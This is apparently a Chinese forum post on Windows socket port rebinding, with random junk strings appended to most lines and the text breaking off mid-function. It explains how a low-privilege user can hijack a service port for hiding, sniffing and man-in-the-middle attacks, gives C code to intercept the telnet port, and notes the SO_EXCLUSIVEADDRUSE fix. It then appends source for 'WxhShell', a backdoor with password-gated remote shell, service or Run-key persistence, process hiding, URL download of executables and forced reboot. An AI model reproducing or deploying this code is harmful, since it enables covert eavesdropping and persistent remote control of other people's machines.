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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T4:H:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k^d]EF  
!:\0}w$-  
  saddr.sin_family = AF_INET; 4Mg%}/cC  
$)*qoV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A v>v\ :.>  
%G(VYCeK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :7X4VHw/  
RDSC@3%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 392(N(  
@:w^j0+h  
  这意味着什么?意味着可以进行如下的攻击: -`5]%.E&8  
xT&/xZLT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A\S=>[ar-  
p,z>:3M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uzQj+Po  
VOj7Tz9UD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \1<aBgK i  
<[ dt2)%L>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  " TCJT390  
h(kPf ]0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wclj9&k  
k+[oYd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rx| ,DI  
4j0;okQWV'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8cZ[Kl%  
g \S6>LG!  
  #include F\&wFA'J  
  #include N>EMVUVS  
  #include ,k.")  
  #include    0 J"g"=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u `ww  
  int main() l$!ExXEZO;  
  { V"8Go;[  
  WORD wVersionRequested; &&$*MHJ  
  DWORD ret; 3-{WFnA  
  WSADATA wsaData; b&E"r*i|  
  BOOL val; 9?sY!gXc  
  SOCKADDR_IN saddr; dCn9]cj/  
  SOCKADDR_IN scaddr; n\ Lsm  
  int err; T] H 'l  
  SOCKET s; 8)iI=,T*  
  SOCKET sc; zytW3sTZA  
  int caddsize; GBZu<t/  
  HANDLE mt; m==DBh  
  DWORD tid;   z+oy#p6+F.  
  wVersionRequested = MAKEWORD( 2, 2 ); $27OrXQ|  
  err = WSAStartup( wVersionRequested, &wsaData ); *lZ V3F  
  if ( err != 0 ) { rgXX,+cO  
  printf("error!WSAStartup failed!\n"); q}jh>`d  
  return -1; xC + >R1)  
  } ])qnPoQ<n  
  saddr.sin_family = AF_INET; 4J'0k<5S  
   LsGO~EiJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3`D*AFQc  
`;G@qp:A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jon3ywd1Y  
  saddr.sin_port = htons(23); EpACd8Fb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $[HCetaqV  
  { w$s6NBF7  
  printf("error!socket failed!\n"); gZ>&cju  
  return -1; n=DmdQ}  
  } #(}{*d R  
  val = TRUE; FDF DB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'Kmf6iK>[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6E ^m*la%  
  { c'?EI EP  
  printf("error!setsockopt failed!\n"); "<egm^Yq  
  return -1; RI'}C`%v  
  } Z8h;3Ek  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MsIaMW_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bly `m p8#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3LQ u+EsS  
?^:5`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :Id8N~g  
  { [KGj70|~  
  ret=GetLastError(); \{*`-P v  
  printf("error!bind failed!\n"); g|^U?|;p  
  return -1; TRgj`FG  
  } ;x_T*} CH  
  listen(s,2); to_dNJbv  
  while(1) lGT[6S\as  
  { Zl# ';~9W  
  caddsize = sizeof(scaddr); VtN@B*  
  //接受连接请求 eGKvzu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DcRoW  
  if(sc!=INVALID_SOCKET) (G{:O   
  { @QpL*F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); { .i^&  
  if(mt==NULL) Rbgy?8#9  
  { mm!JNb9(  
  printf("Thread Creat Failed!\n"); NU.4_cixb  
  break; ,{ 0&NX  
  } o@$py U8  
  } I+ Qt5Ox  
  CloseHandle(mt); aY, '^S  
  } {O=_c|u{N  
  closesocket(s); Y^#>3T  
  WSACleanup(); >;M STHeW  
  return 0; bjwl21;{  
  }   ;&w_.j*Is  
  DWORD WINAPI ClientThread(LPVOID lpParam) n[a%*i6x  
  { hE,-CIRg  
  SOCKET ss = (SOCKET)lpParam; ^8ilUu  
  SOCKET sc; E_D@ 7a  
  unsigned char buf[4096]; |gk"~D  
  SOCKADDR_IN saddr; >Wd=+$!I  
  long num; h|z59h&X8G  
  DWORD val; 2xy{g&G  
  DWORD ret; G!F_Q7|-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z_jV0[\v0P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CC`#2j  
  saddr.sin_family = AF_INET; l,QO+ >)z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5@bmm]  
  saddr.sin_port = htons(23); ;;^?vS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -q-BP}r3  
  { C?g*c  
  printf("error!socket failed!\n"); \@NnL\ t u  
  return -1; G&N),wsNZK  
  } zLS?: yq  
  val = 100; 1TN+pmc}@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?ZKIs9E[m  
  { ]K5j(1EN  
  ret = GetLastError(); <&1hJ)O  
  return -1;  GXTjK!  
  } q+4<"b+6G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )q{e L$  
  { i94)DWZ^  
  ret = GetLastError(); 6l|SGt\  
  return -1; Q^lgtb  
  } M~saYJio  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R|O^7o  
  { 1$yS Ii  
  printf("error!socket connect failed!\n"); 2+YM .Zl  
  closesocket(sc); YMwL(m1  
  closesocket(ss); |' kC9H[>  
  return -1; DT]3q4__Q  
  } G@dw5EfF9  
  while(1) %LL?'&&  
  { I'R|B\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )4 w 3$Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 90Z4saSUw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y8di-d3_  
  num = recv(ss,buf,4096,0); ;ejtP #$  
  if(num>0) j{%'A  
  send(sc,buf,num,0); 2Nx#:Rz  
  else if(num==0) V\%s)kq  
  break; \xk8+=/A  
  num = recv(sc,buf,4096,0); 3=lQZi<]%  
  if(num>0) cn$0^7?  
  send(ss,buf,num,0); p!LaR.8]  
  else if(num==0) u&Xn#f h  
  break; a/q8vP  
  } +\B.3%\-  
  closesocket(ss); +227SPLd  
  closesocket(sc); !?{%9  
  return 0 ; C #@5:$  
  } S)@) @3  
TGG-rA6@Lx  
PrEfJ?  
========================================================== sGbk4g  
_7-P8"m  
下边附上一个代码,,WXhSHELL H#I%6k*\a  
`hl1R3nBM  
==========================================================  {0} Q5  
R8u9tTW  
#include "stdafx.h" 7/c9azmC  
\v.YP19  
#include <stdio.h> S\11 8TpD  
#include <string.h> <:0d%YB)  
#include <windows.h> lz0'E'%{P  
#include <winsock2.h> E K^["_*A  
#include <winsvc.h> 1GgG9I  
#include <urlmon.h> V7Mp<x%  
1d~cR  
#pragma comment (lib, "Ws2_32.lib") }zwHUf9q1  
#pragma comment (lib, "urlmon.lib") MB(l*ju0  
! lm0zR  
#define MAX_USER   100 // 最大客户端连接数 oIY@xuj  
#define BUF_SOCK   200 // sock buffer ca!x{,Cvnj  
#define KEY_BUFF   255 // 输入 buffer naW!Mga  
TSYe ~)I  
#define REBOOT     0   // 重启 @{^6_n+gT%  
#define SHUTDOWN   1   // 关机 rt!Uix&  
vqBT^Q_q;  
#define DEF_PORT   5000 // 监听端口 bQ_N^[oxQ  
'sAs#  
#define REG_LEN     16   // 注册表键长度 k/#321Z  
#define SVC_LEN     80   // NT服务名长度 \kksZ4,  
]`n6H[6O  
// 从dll定义API m"8Gh `Fo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eh?,-!SUQn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C'//(gjQ-G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vbpt?1:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zF=E5TL-,4  
Ru^j~Cj5  
// wxhshell配置信息 <-a6'g2y  
struct WSCFG { -MH~1Tw6Z  
  int ws_port;         // 监听端口 dpcFS0  
  char ws_passstr[REG_LEN]; // 口令 0RGSv!w  
  int ws_autoins;       // 安装标记, 1=yes 0=no f{u3RCfX~2  
  char ws_regname[REG_LEN]; // 注册表键名 &H@OLyC  
  char ws_svcname[REG_LEN]; // 服务名 )3KQ QGi8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "DNiVL.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7<3eB)S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D|R,$ v:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C{Er%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O'<cEv'B*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g_t1(g*s  
roG f &  
}; n g?kl|VG  
ZzV%+n7<Vx  
// default Wxhshell configuration :f58JLX  
struct WSCFG wscfg={DEF_PORT, sa>}wz<o  
    "xuhuanlingzhe", ZA/:\6gm  
    1, xp"5L8:C  
    "Wxhshell", N|L Ey  
    "Wxhshell", mg7Q~SLL{  
            "WxhShell Service", 9-?[%8  
    "Wrsky Windows CmdShell Service", 4XL]~3 c  
    "Please Input Your Password: ",  MfNguh  
  1,  } h0 )  
  "http://www.wrsky.com/wxhshell.exe", O E56J-*}x  
  "Wxhshell.exe" a6fqtkZ x  
    }; 00)=3@D  
H- aSLc  
// 消息定义模块 WAt| J2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /5c;,.hm1R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y^W.gGM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $s-HG[lX[  
char *msg_ws_ext="\n\rExit."; jI9Kn41  
char *msg_ws_end="\n\rQuit."; B^u qu  
char *msg_ws_boot="\n\rReboot..."; 9&uWj'%ia  
char *msg_ws_poff="\n\rShutdown..."; (VzabO  
char *msg_ws_down="\n\rSave to "; }28,fb /  
ROB/#Td  
char *msg_ws_err="\n\rErr!"; 92HxZ*t7km  
char *msg_ws_ok="\n\rOK!"; d;10[8:5=  
g` QbJ61a  
char ExeFile[MAX_PATH]; ]ZOzqh_0C  
int nUser = 0; OCVF+D :  
HANDLE handles[MAX_USER]; E _DSf  
int OsIsNt; [J.-gN$X@  
zS##YR  
SERVICE_STATUS       serviceStatus; m;"i4!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =9ISsI\Y6  
D.\s mk  
// 函数声明 <_"^eF+fZ  
int Install(void); E1e#E3Yq}s  
int Uninstall(void); " %)zTH  
int DownloadFile(char *sURL, SOCKET wsh); BejeFV3  
int Boot(int flag); 7Ed6o  
void HideProc(void); T]tG,W1>i  
int GetOsVer(void); [:!D.@h|  
int Wxhshell(SOCKET wsl); g^EkRBU  
void TalkWithClient(void *cs); ^K K6 d  
int CmdShell(SOCKET sock); a:(.{z?nM  
int StartFromService(void); H,!3s<1  
int StartWxhshell(LPSTR lpCmdLine); ?!J{Mrdn  
9"YOj_z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s-He  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IT u6m<V  
kM,$0 @  
// 数据结构和表定义 YQI&8~z  
SERVICE_TABLE_ENTRY DispatchTable[] = T]%:+_,  
{ phA^ kdW  
{wscfg.ws_svcname, NTServiceMain}, XfXqq[\N  
{NULL, NULL} pU|SUM  
}; StP7t  
Q'~2,%3<  
// 自我安装 *MEDV1l_T  
int Install(void) n"1LVJN7  
{ ? }2]G'7?  
  char svExeFile[MAX_PATH]; ;*Cu >f7  
  HKEY key;  {u}Lhv  
  strcpy(svExeFile,ExeFile); K 9X0/  
V@xlm h,  
// 如果是win9x系统,修改注册表设为自启动 ?4U|6|1  
if(!OsIsNt) { 8W|qm;J98  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rU /V ~;#%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BQ ol>VRu  
  RegCloseKey(key); , LP |M:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@|EaH/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); il \q{Y o  
  RegCloseKey(key); av&4:O!  
  return 0; xJ|3}o:,  
    } wh\J)pA1  
  }  ?vgHu  
} 4q`$nI Bi  
else { 6Y|jK< n?H  
Ed%8| M3  
// 如果是NT以上系统,安装为系统服务 qn+b*4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XujVOf  
if (schSCManager!=0) fJ3*'(  
{ sz'IGy%  
  SC_HANDLE schService = CreateService Q]Fm4  
  (  lqO"  
  schSCManager, S?bG U8R5  
  wscfg.ws_svcname, Zjz< Q-  
  wscfg.ws_svcdisp, do2~LmeW  
  SERVICE_ALL_ACCESS, N|v3a>;*l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n_Ht{2I  
  SERVICE_AUTO_START, /N`l z>^~  
  SERVICE_ERROR_NORMAL, TS9=A1J#  
  svExeFile, i9.~cnk  
  NULL, h]rF2 B  
  NULL, Gu-*@C:^&  
  NULL, &J)q_Z8  
  NULL, &VIX?UngE  
  NULL vpy_piG|  
  ); gxX0$\8o7  
  if (schService!=0) p:9)}y  
  { w !N; Y0  
  CloseServiceHandle(schService); Xj/U~  
  CloseServiceHandle(schSCManager); u; xl}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xhAORhw#  
  strcat(svExeFile,wscfg.ws_svcname); \4RVJ[2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qV%t[>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kMGK 8y  
  RegCloseKey(key); &95iGL28Q  
  return 0; s }]qlg  
    } sbZ$h <  
  } 7a@%^G @!  
  CloseServiceHandle(schSCManager); R6ynL([xh  
} :>U2yI  
} %z6.}4h  
'1lr "}"Q+  
return 1; 5 } 9}4e  
} X]J]7\4tF\  
G:f\wK[  
// 自我卸载 "#H@d+u  
int Uninstall(void) J`T1 88  
{ (~~*PT-  
  HKEY key; _`>F>aP  
8]6u]3q#  
if(!OsIsNt) { EK^B=)q6:W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;- D1n  
  RegDeleteValue(key,wscfg.ws_regname); bwjjwu&  
  RegCloseKey(key); 3@ a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JJHr<|K  
  RegDeleteValue(key,wscfg.ws_regname); -_bHLoI  
  RegCloseKey(key); 6~KtT{MYQ  
  return 0; ceakTAB[  
  }  5:mS~  
} M <oy  
} ({#9gTP2b  
else { xkIRI1*!  
x.rOP_rs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I$K?,   
if (schSCManager!=0) [C PgfVz  
{ $EjM )  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4J=6A4O5Z  
  if (schService!=0) K-&&%Id6R  
  { ""[(e0oA  
  if(DeleteService(schService)!=0) { ~Qzb<^9]  
  CloseServiceHandle(schService); gU7@}P  
  CloseServiceHandle(schSCManager); Ca[H<nyj  
  return 0; >E;-asD  
  } 4Gl0h'!(  
  CloseServiceHandle(schService); EG<YxNX,  
  } j rX .e  
  CloseServiceHandle(schSCManager); ~n:dHK`  
} [|ghq  
} 2IgTB|2  
mE3^5}[>  
return 1; B+G,v:)R6z  
} 0f.rjd  
d\Xi1&&  
// 从指定url下载文件 rlEp&"+|M  
int DownloadFile(char *sURL, SOCKET wsh) " gB.  
{ ?@U7tNI  
  HRESULT hr; #}50oWE  
char seps[]= "/"; K1rF;7Y6  
char *token; ;=IC.<Q<}  
char *file; $d1+d;Mn  
char myURL[MAX_PATH]; -LF0%G  
char myFILE[MAX_PATH]; +u1meh3u  
7\sJ=*  
strcpy(myURL,sURL); D8a[zXWnc  
  token=strtok(myURL,seps); 5BvCP   
  while(token!=NULL) DPuz'e*  
  { (VYY-%N`  
    file=token; zGrUl|j  
  token=strtok(NULL,seps); hLyD#XCFA  
  } 6Q<^,`/T  
[AzQP!gi  
GetCurrentDirectory(MAX_PATH,myFILE); i{8T 8  
strcat(myFILE, "\\"); r<]Db&k   
strcat(myFILE, file); M)Iu'  
  send(wsh,myFILE,strlen(myFILE),0); 14TA( v]T  
send(wsh,"...",3,0); ^dB~#A1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [KA&KI^hF  
  if(hr==S_OK) 7 jq?zS|  
return 0; X {,OP/  
else PI>PEge!&  
return 1; @5n!t1(  
Kq}/`P  
} %G6ml,  
Nz`4q %+  
// 系统电源模块 S<"M5e  
int Boot(int flag) *I;,|Jjk  
{ 6Z~u2&  
  HANDLE hToken; Txkmt$h  
  TOKEN_PRIVILEGES tkp; SFrQPdX6V  
E#t;G: +A  
  if(OsIsNt) { zzsQfI#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v,Lv4)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *vn^ W  
    tkp.PrivilegeCount = 1; 7cx~?xk <m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kTG4h@w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6X(Yv2X&4%  
if(flag==REBOOT) { 1JIL6w_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ("{JNA/  
  return 0; <vx/pH)f  
} ZV}"k_+-  
else { ^6!C":f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  laX(?{_  
  return 0; NG-Wn+W@b  
} k9j_#\E[  
  } `}:q@: %  
  else { JzD Mx?  
if(flag==REBOOT) { W:q79u yX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5t]}(.0+  
  return 0; +TW9BU'a^  
} qbjBN z  
else { Ov1$7 r@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /0Q=}:d  
  return 0; y,&UST  
} 7a_pO1MBL  
} uP<w rlW  
5urM,1SQ@  
return 1; ]]lgCac_U9  
} (4_7ICFI  
)3<|<jwcx  
// win9x进程隐藏模块 EL!V\J`S_  
void HideProc(void) 4`lt 4L  
{ V{17iRflf  
8<(qN> R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1PWs">*(  
  if ( hKernel != NULL ) "dfq  
  { "p>$^   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NNZ%jJy?=,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ":E^&yQ  
    FreeLibrary(hKernel); _EeH  
  } \u@4 eBAV  
[(v?Z`cX\  
return; UpL1C~&  
} }X{#=*$GQ  
HRkO.230  
// 获取操作系统版本 Rd6? ,  
int GetOsVer(void) J2cqnwUV  
{ O+I\Q?   
  OSVERSIONINFO winfo; +jzwi3B`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O]{3aMs!Y  
  GetVersionEx(&winfo); VU+`yQp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IXb]\ )  
  return 1; } ).rD  
  else vK2sj1Hzr  
  return 0; ~l$u~:4Ob  
} nR)/k,3W  
1e`/N+6u  
// 客户端句柄模块 x`8rR;N!  
int Wxhshell(SOCKET wsl) H..g2;D  
{ P3|_R HIb  
  SOCKET wsh; 4\'1j|nS[  
  struct sockaddr_in client; pG?AwB~@n  
  DWORD myID; `N$:QWJ  
3nb&Z_/e  
  while(nUser<MAX_USER) VW^6qf/,  
{ /BB(riG  
  int nSize=sizeof(client); ^VsX9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~!( (?8"  
  if(wsh==INVALID_SOCKET) return 1; +2%ih !  
lSv?!2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 61|uvTX  
if(handles[nUser]==0) *0>![v  
  closesocket(wsh); 40TS=evG  
else KL:x!GsV5e  
  nUser++; \7W>3  
  } <a/TDW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yOKpi&! r  
eELJDSd BV  
  return 0; i#/,Q1yEn  
} `.3!  
kO:|?}Koc  
// 关闭 socket d-e6hI4b  
void CloseIt(SOCKET wsh) b-pZrnZ!  
{ '6l4MR$j&m  
closesocket(wsh); VC%{qal;q  
nUser--; ~WH4D+  
ExitThread(0); e~ #;ux  
} X v[5)4N  
6&8([J  
// 客户端请求句柄 P{ YUW~  
void TalkWithClient(void *cs) i}cqV B?r  
{ j#^EZ/  
O$QtZE61  
  SOCKET wsh=(SOCKET)cs; U5X\RXy~  
  char pwd[SVC_LEN]; *1F DK{  
  char cmd[KEY_BUFF]; ^%(HZ'$wC  
char chr[1]; f681i(q"  
int i,j; cM&5SyxiuE  
~JjL411pG  
  while (nUser < MAX_USER) { 2'O2n]{  
o+UCu`7e  
if(wscfg.ws_passstr) { +O`3eP`u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <a9<rF =r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L%G/%*7;c  
  //ZeroMemory(pwd,KEY_BUFF); VyQ@. Lm  
      i=0; H CKD0xx  
  while(i<SVC_LEN) { ;Du+C%  
Dq=&K,5;  
  // 设置超时 Y ,1ZvUOB  
  fd_set FdRead; Y+il>.Z  
  struct timeval TimeOut; u6hDjN  
  FD_ZERO(&FdRead); { Ju  
  FD_SET(wsh,&FdRead); [ j'L *j  
  TimeOut.tv_sec=8; y$,K^f  
  TimeOut.tv_usec=0; =MQpYX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0ws1S(pq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kKbq?}W[  
Z>=IP-,>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l&rS\TCkp  
  pwd=chr[0]; ITcgp K6k  
  if(chr[0]==0xd || chr[0]==0xa) { X.~z:W+  
  pwd=0; R]{zGFnx  
  break; \o-9~C\c*  
  } r\#_b4-v3h  
  i++; {wUbr^  
    } !O;su~7  
Q;9-aZ.H  
  // 如果是非法用户,关闭 socket C\%T|ZDE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tK@|sZ>3\  
} "*08?KA  
71euRIW'5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Be~__pd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nV/8u_  
JmMB=} <  
while(1) { r~mZ?dI  
;<=Z\NX  
  ZeroMemory(cmd,KEY_BUFF); @bPR"j5D  
jb0wP01R  
      // 自动支持客户端 telnet标准   X<:B"rPuK  
  j=0; N, `q1B  
  while(j<KEY_BUFF) { @zu IR0Gr)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TcW-pY<N  
  cmd[j]=chr[0]; z1dSZ0NoA  
  if(chr[0]==0xa || chr[0]==0xd) { e}@VR<h  
  cmd[j]=0; zL8Z8eh">  
  break; "LwLTPC2  
  } ' 6^+|1  
  j++; O|Sbe%[*wW  
    } KGM9 b  
VT>TmfN(I  
  // 下载文件 ]~a;tF>Fw  
  if(strstr(cmd,"http://")) { &%@e6..Ex  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rV{:'"=y-  
  if(DownloadFile(cmd,wsh)) 1omjP`]|,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJYup%q  
  else rcq^mPdQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G909R>  
  } EY$Dtb+g8  
  else { pm2-F]  
QoLp$1O (y  
    switch(cmd[0]) { -|z ]Ir  
  /,C;fT<R  
  // 帮助 {oXU)9vj  
  case '?': { H1bHQB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ MsO2A  
    break; 2/WtOQI B  
  } PpXzWWU":  
  // 安装 GGM|B}U p  
  case 'i': { ppm =o4`s[  
    if(Install()) _sp, ,gz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;s*   
    else jF$bCbAUce  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IOfxx>=3  
    break; _h6j, )  
    } <QuIXA  
  // 卸载 V8w7U:K  
  case 'r': { 8+f{ /  
    if(Uninstall()) nrBpq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } Z/[ "  
    else uOQ!av2"Rf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RGu`Jk  
    break; ]!c59%f=  
    } r5RUgt  
  // 显示 wxhshell 所在路径 J# >)+  
  case 'p': { ]iU8n (5f  
    char svExeFile[MAX_PATH]; )])nd "E  
    strcpy(svExeFile,"\n\r"); }}Zwdpo  
      strcat(svExeFile,ExeFile); |?cL>]t  
        send(wsh,svExeFile,strlen(svExeFile),0); =l)D$l  
    break; *&vlfH  
    } 1 5heLnei  
  // 重启 ._E 6?  
  case 'b': { I`~Giz7@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ABt g#  
    if(Boot(REBOOT)) >^=;b5I2K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1+F0$<e}  
    else { G?M<B~}  
    closesocket(wsh); k~0#Iy_{M  
    ExitThread(0); r*q  
    } cv{icz,%w  
    break; 3u 'VPF2  
    } 7"_m?c8  
  // 关机 zb]e {$q2C  
  case 'd': { QkFB \v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aZ,j1j0p  
    if(Boot(SHUTDOWN)) -l Y,lC>{  
